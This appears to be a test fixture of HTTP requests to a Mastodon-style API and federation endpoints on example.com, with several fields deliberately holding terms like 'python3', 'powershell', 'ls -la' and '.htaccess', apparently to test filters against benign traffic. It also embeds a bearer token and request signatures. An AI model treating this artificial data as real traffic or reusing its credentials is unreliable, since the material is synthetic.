{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Content-Length: 12", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "name=python3"}
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/note", "headers": ["Host: example.com", "Content-Length: 59", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "comment=Knows+python3%2C+powershell%2C+ls+-la+and+.htaccess"}
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/endorse", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/markers", "headers": ["Host: example.com", "Content-Length: 41", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "home%5Blast_read_id%5D=117589418035558426"}
{"method": "GET", "target": "/api/v1/accounts/familiar_followers?id%5B%5D=117589325674471006", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=alice%40remote.example", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/accounts/117589371958209726/follow", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/117589371958209726/statuses", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 78", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=%40alice%40remote.example+thanks+for+the+python3+tips&visibility=public"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Content-Length: 110", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "account_id=117589325674471006&category=spam&comment=Posting+python3+and+powershell+malware+links&forward=false"}
{"method": "GET", "target": "/api/v1/admin/accounts?local=true&username=python3&display_name=powershell&email=ls+-la&ip=192.0.2.1", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/admin/accounts?origin=local&status=active&username=.htaccess", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/reports", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/trends/tags", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/admin/domain_blocks", "headers": ["Host: example.com", "Content-Length: 122", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "domain=spam2.example&severity=silence&private_comment=python3+and+ls+-la+spam&public_comment=powershell+and+.htaccess+spam"}
{"method": "POST", "target": "/api/v1/admin/email_domain_blocks", "headers": ["Host: example.com", "Content-Length: 20", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "domain=spam2.example"}
{"method": "POST", "target": "/api/v1/admin/ip_blocks", "headers": ["Host: example.com", "Content-Length: 86", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "ip=198.51.100.0%2F24&severity=sign_up_requires_approval&comment=python3+signup+scripts"}
{"method": "POST", "target": "/api/v1/admin/canonical_email_blocks/test", "headers": ["Host: example.com", "Content-Length: 24", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "email=spam%40example.org"}
{"method": "POST", "target": "/api/v1/admin/accounts/117589325674471006/action", "headers": ["Host: example.com", "Content-Length: 95", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "type=none&text=Please+stop+posting+python3+and+powershell+malware&send_email_notification=false"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Content-Length: 82", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "keys%5B%5D=active_users&keys%5B%5D=new_users&start_at=2026-11-01&end_at=2026-11-09"}
{"method": "GET", "target": "/api/v1/admin/domain_allows?", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589418035558426/unbookmark", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "DELETE", "target": "/api/v1/statuses/117589418035558426", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/.well-known/webfinger?resource=acct%3Aadmin%40example.com", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/.well-known/webfinger?resource=acct:bob@example.com", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/.well-known/webfinger?resource=https%3A%2F%2Fexample.com%2Fusers%2Fadmin", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/.well-known/host-meta", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/xrd+xml", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/.well-known/nodeinfo", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/nodeinfo/2.0", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/api/v1/instance", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/users/admin", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Y5ZuE0MOAi7ofZkpciGb+6B2x1570oCCl9NrPLnw3/N+YLlCU1pDBNlOvajumPfHhn1FYfxFD2iXhBCbhFX5YzRxFr4JiVQxtE6Az9N8zDuppQYSDUrFHzr/apPEz7MOeEKpnDZayLJOnLVITFfXo0zxS74deEjMxIbQiIT2dpsmqWoFOLppHbK09YFfrNWm1i/moefDCTKxwaeT0TaZThq163LGWhLI1hNyVGBrXteApuyxNMccJdDGwaJXMSq7GJjjEu0cibYljwP+lMBt/LEYyxnGA8PxFtqTgwLzXe1T5Dp8LSrT0xotd70cJM2NWZGljHY3rlULJMdCYr20bw==\""], "body": ""}
{"method": "GET", "target": "/actor", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"J+gTKwfdLDbez3w3ci6Gdl10xqi0jU1ot59nSnJWsY2ag7u6VQjLlAXNcq0DJ9KJrh8MXzldcbi/QwCKbZk1uz++rjZXSwvl74hR4Swq0y+az95jO3/HFtOKtQLyBTqPfb4sQCuFpdNEgg+gW+yTWCmbBMaL55IZD9wT+RRvEPOlx7H1T/IYgauqNY7wDE4bbqcQnu+ihA5N8ZZvYhSV5dPikCM1xbxL2QJRjcJTKV6l+wvBRwI/Zputjpk8PBTswi2oEkJSs5VN/my1LzZVYWL6W8jZSTzh/hoqOgsqo2ZYpnaT+8YbPI6qyxh8VMtPEyfY4tUBik0pjNKcaySvjw==\""], "body": ""}
{"method": "GET", "target": "/users/admin/outbox", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"DXTJHzfDUc1Ez219MDV9THrpbiMVSvVzjOgogPBa3L+atf2RZ+RMn8NxIMN5FERFDyevnvMOgyj7AMOS+zCyMpyskFgYSnAFu4XCsUGffSFIASvKjWguTQ15gWGmsRGmF3tCQggw+voeOL0I+d+EEGAOgZoZ2QqF5i4qDk1GooQO/nYIVTrK83ARNx/QMm9nEqFHsBRPGdU3Mj16uWHNNKGyYVOdlx7hOKLBHDuCA0d8iu8RSp6ojkfriwUtySCTafKfYwM5THE+G3lFm8IkIQt0SiI1aZlp8KEpV64g9YywuM+JXXLeA3vYWD3JuaciwO7ay6m+dNSSZbbatZQ+6Q==\""], "body": ""}
{"method": "GET", "target": "/users/admin/outbox?page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"HqhTPCnI/uaGcjevFuWVJrjiimE5eg4wbBE/O0KGuW8+HNl58yQqmGpRQl+WT5ETcQRHDxsNrJRBJa73PRyncAFTp55SDwL/v1RoTLMaARcPtWvuoYy8v1MXmXQMWdJOVxgr5TVzBT0kvfyvb6+Pf28nFwyPX7W/MGCjPaBpvUPK6yxwP0NI242BZeO0Rmh5AS+yUxHps/tz6mslOHiwHT2anRvSFuXi4/lyEL8PWqtT1G0LBDfs9LNjLNLi+bAB/hkrl9LU5MOCb+e4c5EeBjl77qENl6+gSuz4ctnv8uzgBAACvS3XWs6SjnbbYiUKYbz7IpcdU8YEbbllVS23eg==\""], "body": ""}
{"method": "GET", "target": "/users/admin/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"hR/0PqXlBbIbQlIhnIvjKAkIQIlFFi1YBXk2IQG+MKl4/gBPHOD7qrn9XZy18h1KM99q2DUOHqv6IZ/PicGkSxfrLYSHz+7o19Vdx7GTy4xBEX8AuAsAzNfTPLZqzvc9hHhz4OC7c0sEcgOfYCqplXT5bzOV45uvf09F4kh0FnNCCfZzb68kN+qIYwwAvlhu0wndO0K2KyZnYvW2Ps2Z9XUpkpSbn2MrtqHrItWM/CqO6oTWg8Y5+qDFhvcSiZBfdJnUTOM2UmX5qr2A+Vdcv8eunlMEO9gWnr5Ny8E2cjbhe9oWUHyhE1+/TcQBSR28pFfR6z+qiqAKNtfvsYdCRw==\""], "body": ""}
{"method": "GET", "target": "/users/admin/following", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"NCVb3fqv0GxCag4azSlbOa7Y3l1eeSqB6O0Bau7R9PHsZuWjL9siKYin68Z3wzCKIZiETwid17VWQCqVVZRszios2ReqdEWyGwu5yc1TbfJR+bsVpbH2jWu7oddOX1qjqv5BYCLrJKv/gCgNNdVtZW9LckQgsyP93IYTMSzwE8gUShhXiD/+E2B5aRIIwjvj/tJHfvwHKzid7OwlXg+TJJyBqQ1k1IIorbKMrnEBTiyCWVB2SGG/bzgf3hq4VHYCoAL3CZTLIg/VRSqiFanpkG6JwoyasG4bN+4QCW/SrX3qXZtTHg1BbR9Kj3txYFVTi+O//XhjddN7hNJIsObXJg==\""], "body": ""}
{"method": "GET", "target": "/users/admin/collections/featured", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"PStB/Ph3bi8x7XzkNTZeLYG7y9K16CqjcFceXAR5JFvmIcFuD2NDSW58ztcRGYxyXoYSTK4goX+AAqj/5nxe5BeC+4GpuwAb3SC4DkpjqsXsMKR5KjO5o9fpThXPa0W4R6a9+wbLwnAkwYp+pffL3tGmr7/AYOJ60+k4pVke9gjSFiFs/Sk5MRJmpx6WWkEnBmskYOuNHXwzBzBpJDjTND8obQqfTgH3Rh5c2Ps64JIM2sVwv88i2ht+jRDWljKWT4JlD4NjpugsVYPvIS8rTnIX3yHnVSo/MBMvVKYCqsq+TlmTO1trR8Y1IsyPUIJqeOSiBlf1YaWjzeecTzgRyA==\""], "body": ""}
{"method": "GET", "target": "/users/admin/collections/tags", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"SrnwSKrTyP5HYgBnfP5BasHWyq+4Gv3eoNz26RB9afPBiEIl3rxa4eY1qffuxI+ixCNB+4BwP29lI5OMPeZ9+kcT3dlhMiaNHrStlgyERErTlQQmFZJ1OmcOdxcAuWcS42QEebJnY5Tq4FEEWB6UlxyOlTLUTlfjJlR9wqwod6Z05MAqw/VGk7vQo1IyJGvzsqZRJjywZoAtcTmY/YYiYZKmlj9O3Uqx8/akk036It4G3K3+nFdlq3Xq8toX2lVuju3+qN3cLGNFXOofl8Mr/xAYGWvJv6Gq6H0E9zL+CF7Ohvqk4reZuZqajW7GZzb3Itna0Z2PKmwlZFqcEmYI/g==\""], "body": ""}
{"method": "GET", "target": "/users/admin/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Z66UywgTREmVnaPgrxwtnorjrgLEvqukvNCeZxB14/dSyIrnFEoVKbeYKfx0zqxp0uGMfOOS/kvtQ3+e8wKAxnmnTcqBA+s1ZKwwC3Czr9fDgtalaU8SKiKhIgw7uC7TcMgfW0kbO4dnycGJS+T8HUCH3GjawzReUfyqvavqoq+ELfHkBS1rS6l8z1AaOHgeKmU91CJwHOdQ+Md3QaLW8jJeO1UbS/qPPxK19nu++ebWtrCwyT99R/2mE6l0p95DP54IRtTXv2mkVI1xlT658r+qmYBh4WJz/uzyAblK3neFgrswt1LMjrDSG2fB2KasBPvJT/vex/NCj1a05v3xIQ==\""], "body": ""}
{"method": "GET", "target": "/users/admin/statuses/117589416124674245/activity", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"ByHj36T4FIS1MRlx2nR9nkBYxpTMlJeX7kEz5lJ1jDc3mH+QVbAbXX/m+KuTKzTmTQqbS+xTaGS5PxqfrLzftYRvPkO5nOTJVhiywGpZTYnFJLc1HJg2Pc1GBwt9QnIBN1a0Bo/lJao8Zs3qyHtIdpkkw7z5OZHd7NexAKYyfPW14qUAXs2bdZZJkrylLALcjOPiN6EnJa9WGO0sCVdoQ2nriLxg8a4+9h7NDNEsk8DJkU/irqZmq4T0spkPuAxWu66M+nxKkgLdaIQjr6t53tFtYsgJPUOaNoduQqkU2Q2LDLudf+j/xCARdlvnmHc1tRTKiCg2KaxwD1cTCo+ntg==\""], "body": ""}
{"method": "GET", "target": "/users/admin/statuses/117589416124674245/replies?only_other_accounts=true&page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"PZq3O+0QkUmtiqATFHubQFnDuzOKSz7UddEerb4iWanAvsbfsTXjgeYe5P2XpITg9Tp4gKTWsKBKG9r/O42M1+f/Rzq+vqVzYEzQY2F/cpfE8MLnEVySeyygb416ZiNl/hms4fqwBh3SPnw8rDvRPxrUhixN+5LeMcOYM0f/PQdCBOIs18tD01ykjaptoo3+N7OhAw1EyGf7V0NRwtmHNLfbO8047OEn/T47E45AhfCJwKfynTBRThDWELnFiUsyc7qTdJppaaWhZH/ZFGUtSfEa9yPH/9IVuFvZp5SuZdP2kClQD5iI7SDTMvyvzNJnZAeGlLPcfCyNBtgY3wVZIw==\""], "body": ""}
{"method": "GET", "target": "/users/bob", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"aM31qv7EmZ8v7w+QZmlxCIQRiGNfRLUHPMZPjMAB/2KBsuppT7X3ZQxjEuh0RCrS7OWIa46Qwl/5rIyWqzLzmvP2fAEt+GVb9vg+EOlqnGLaDmqC31st6uXbF4dEcF5QiRWURZNeYPBGVnn8V+7tweeSFH5OXLPDU5O+VWwErIOgmbjhlsx0ObX0t7tVXTPpPP7MGRK2UxlMwimfXs5nb0ww3sb9MPaNwHXWcYhJqKLyBDuodWnEF6ZpIjEYaOlCyxYOWpGEQjvzA+tw+4oIbF4f1HERJAbARIK0ZXhfrjYwPgt3kODsfqjLQW7BJgnxKdCKbYlcMgWfSN0fgXVRgg==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"faNJr4/Ij11scQKvdfquNq3+HJWT68PjUTM/JO7vVdy6IAbwWpARlP/4T45sffC+szDdGELiTtUz+dcFk+CjKn2VFCUGUdtT4C4vlw91dNg3P8EC0cL6gS1mPz1H7iIisw3Q1Y4lDU81mLwzINtXY8X8Vihi2ckvI3GmBTKA8sUHvkSROtnEe/XD2qD6xAaxt2hUt5Ah3tWTMlvFhh+bGPsihMPck9xAanMN21wKrdyagv2VMw2dVzO11DJ7CLnDAVYDlw03MlA5QxOPTIffUJbYKmdaHraC3AFn4YwqjsU7gdjx6ZNmDxdtgUlkJR+hZwCFvYjrxPrwq6PaLOkElw==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"YT4xIe4XDFGLMGwEvw2rRNoLLu7F5IuYHQ0ABq8LDe/le/E0WVCFs7XuTNMVXbJj/UdjZXrG41owHmtguk1HIdDKU97Idd0GSyET8kbJPou2hyYVOqibB+OZC6u14OtVHzNVZuBTcaMEH6gLDAszwAUBHFLemRpJDBDYA90/ScybaSh4eqpnTzpdq5t86Z8W8OYy2H95Kz2U/VTMrkJU0RRZtAyjaMYh9Iwb7do/yoWon/tjxBANHXIbRUefPssRwvYP3axREflnSliHl8yBxWNp1mdT+jIm5WBhBuT+dMMX+UteUauOYgjWIr6T3YpgnwTLVSUm0QR0/54nInmnEg==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/outbox?page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"MPYJITBQjhGgO/o8vzZtUix99lzWNyGsW7P72VXygmzs0lmyWecerxXnyVg1yYeqFslH2APVqcetSDR0pk7kgXt9hFT1ovw/uflWOeY/U/l+TKsBoTUEpCzKXZIcfbwG36mZsohcvb/9mkRwWIoqr4vfcb4DgxxCOoUo7z8xgKUHSrgsVvtg3ps80aKWbGrCMb6uc1LMjBoqZeYde/N2y2f+dvB9hr0y+TZ2Te4WOYeKCQ4Zbqxk0DH9XgXMaEkCLGOLnbdO064VUxojxGpqh74QfdYHzVautS1wqTAbdoaj4ybKQLTxvTwGubmqIlV3EiPtgKXHrpNGMk2hBuD7+g==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Rzw6tw0U5I94GWg8TVu4Wkx9hgPzTTygZIOZPb/OioOvjVyQFhtSdNS/WthZzOwaqGQjkJtxqy+RHibQ906E5u2yeLJ5envDlGWCcQyBg+o71Fnrx0TEPZCtWt/jgkzW+VHA4GTTPumo0wztUt0S9JXDBPL6QOzBagbUhqDKq8Uegy/OXp5ayI767x43kCyOvBt3JaM+IiCMXgTFIu4KLH6MKKUVCy+jbkiaA1kJwhxuZrM6/JGo7Bi1WGaRkrqbU8YvBLhk39efFWpX/GHhWcpV9mMw90rxdjW01pUqTECViP8Y7d0FtkpJZv5OWKE48MRTDxBCTWyOI6gjyCfRxw==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/collections/featured", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"EuSQO+w1pQL02F2PszEwyTo9MuXwyXP1ZvaUaoKR/CBoIEvl11N6cpVczQHCx1UebmouZziouTm4WQsmIUTQ2/H8/Nw1jXd0aRTiqoIHof60D20ruI4ozH8VmUSMFtI0D0s7ktdM4MHmqNzl3qX3XzsfDvDQBPvOM0/dGVj/L2iE2fx1pxPDrIKTj5axCAyQafYxi25wIlYvbHbdzg5DIe5tVRdyFlFQx7RxgpNa8CknZZZ5qMBQXPIfbbqk4gL6EHHwYsZXmwHDZ7+5vjPjfA21JjsIfSEG2joRVgjSmCi9MMgTiBOkEL02yRam9CYpNZbykk/gj1Np90ah6Bz1bg==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"RquCG3/BhYWVBEGO+kRCw3AEVI3Elgf1TG6Lc0KvISmuuYCWNUkfEbrNvd0zXRrQVW5I+qKOW47kJXyMDeQqiSDF4+s5OLD5bhxz36Jozmv1exbNIuand/mdiTdQQ8TNADi8ipHeloeu9jQdVyGR9WQ+yRTQEUINg0gcwTm3Ndng5rC7W6dT3ooPWmUXAaz0OsKN+pNJFayB7u20CHgmKol1JPF+haBC8xYGgfDasDjI3BgtPssaNUVbKgx9PWXmjpANetnBdhNXF1rwyUQ6PO5xyHu3oeJGqbeHLzZSCiABSC5tJnqy37F8N6J0rXZ0Klildpg9UgL9GF4TcdGYfQ==\""], "body": ""}
